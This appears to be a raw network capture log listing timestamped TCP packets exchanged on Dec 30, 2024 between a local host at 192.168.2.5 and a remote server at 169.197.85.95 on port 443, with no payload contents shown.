Dec 30, 2024 16:17:43.910814047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910830021 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910851955 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910855055 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910878897 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910970926 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911017895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911026955 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911032915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911055088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911067009 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911098957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911123037 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911128998 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911144972 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911149025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911201000 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911206007 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911293983 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911307096 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911307096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911330938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911350012 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911443949 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911467075 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911505938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911519051 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911519051 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911526918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911541939 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911591053 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911624908 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911639929 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911644936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911675930 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911675930 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911679029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911745071 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911750078 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.911955118 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.911955118 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.912041903 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.935689926 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.935729980 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.935843945 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.935866117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.936322927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.995696068 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995785952 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.995810986 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995853901 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995872974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.995881081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995892048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.995894909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995934010 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995959997 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.995965004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.995975971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996000051 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996028900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996511936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996552944 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996563911 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996571064 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996592999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996597052 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996629000 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996629000 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996638060 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996648073 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996687889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996707916 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996715069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996726990 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996732950 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996766090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996781111 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996787071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996809959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996814966 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996855974 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996871948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996876955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996900082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996908903 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996942043 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.996947050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.996999025 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997047901 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997073889 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997078896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997087955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997098923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997138977 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997147083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997211933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997239113 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997271061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997294903 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997299910 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997311115 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997318029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997369051 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997375011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997409105 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997459888 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997466087 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997615099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997654915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997673035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997678995 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997689009 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997704029 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997742891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997742891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997751951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997762918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997809887 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997823954 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997829914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997844934 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.997893095 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997893095 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.997900009 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.999722004 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.021991968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.022031069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.022058964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.022066116 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.022104025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.022104025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.083597898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083704948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.083787918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083841085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083854914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.083862066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083880901 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083904028 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.083926916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083939075 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.083945036 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083966970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.083981037 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084006071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084031105 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084038973 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084049940 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084050894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084099054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084121943 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084127903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084137917 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084137917 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084180117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084193945 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084202051 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084213972 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084238052 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084248066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084266901 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084274054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084286928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084316969 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084330082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084331989 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084340096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084378004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084387064 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084392071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084418058 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084434032 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084434032 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084440947 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084460974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084481955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084523916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084541082 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084547043 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084566116 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084603071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084605932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084605932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084614992 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084654093 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084660053 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084692001 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084722996 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084726095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084736109 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084768057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084768057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084778070 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084788084 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084824085 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084824085 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084825993 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084836006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084873915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084888935 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084912062 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084914923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084914923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084923029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084964037 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.084975004 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084975004 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.084983110 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.085006952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.085033894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.085072994 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.085077047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.085208893 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.085235119 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.108349085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.108385086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.108524084 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.108534098 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.108962059 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.169847012 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.169883966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.169919014 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.169959068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.169966936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.169976950 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170099974 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170135021 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170139074 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170147896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170178890 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170178890 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170317888 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170361042 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170384884 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170391083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170402050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170403004 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170439005 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170445919 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170452118 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170475006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170526981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170526981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170540094 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170589924 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170594931 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170634985 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170671940 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170681953 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170689106 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170702934 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170774937 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170803070 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170803070 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170811892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170820951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170821905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170877934 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170883894 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170912981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170941114 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.170984983 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.170991898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171037912 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171039104 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171049118 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171082973 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171128035 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171150923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171150923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171158075 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171211958 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171271086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171303034 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171323061 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171329975 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171376944 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171411037 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171451092 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171478033 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171485901 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171503067 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171504021 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171545029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171559095 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171566010 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171581030 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171602011 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171643972 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171648979 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171753883 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171789885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171833038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171860933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171865940 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.171900988 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.171900988 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.194617987 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.194680929 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.194684029 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.194704056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.194731951 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.194752932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256179094 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256232023 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256268024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256273031 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256285906 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256313086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256335020 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256335020 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256349087 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256357908 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256381989 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256390095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256437063 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256448984 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256483078 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256496906 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256515026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256524086 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256565094 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256602049 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256625891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256632090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256669044 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256712914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256747961 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256758928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256764889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256793976 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256884098 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256922960 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256937981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256944895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.256969929 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.256983995 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257029057 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257039070 CET	57860	443	192.168.2.5	169.197.85.95
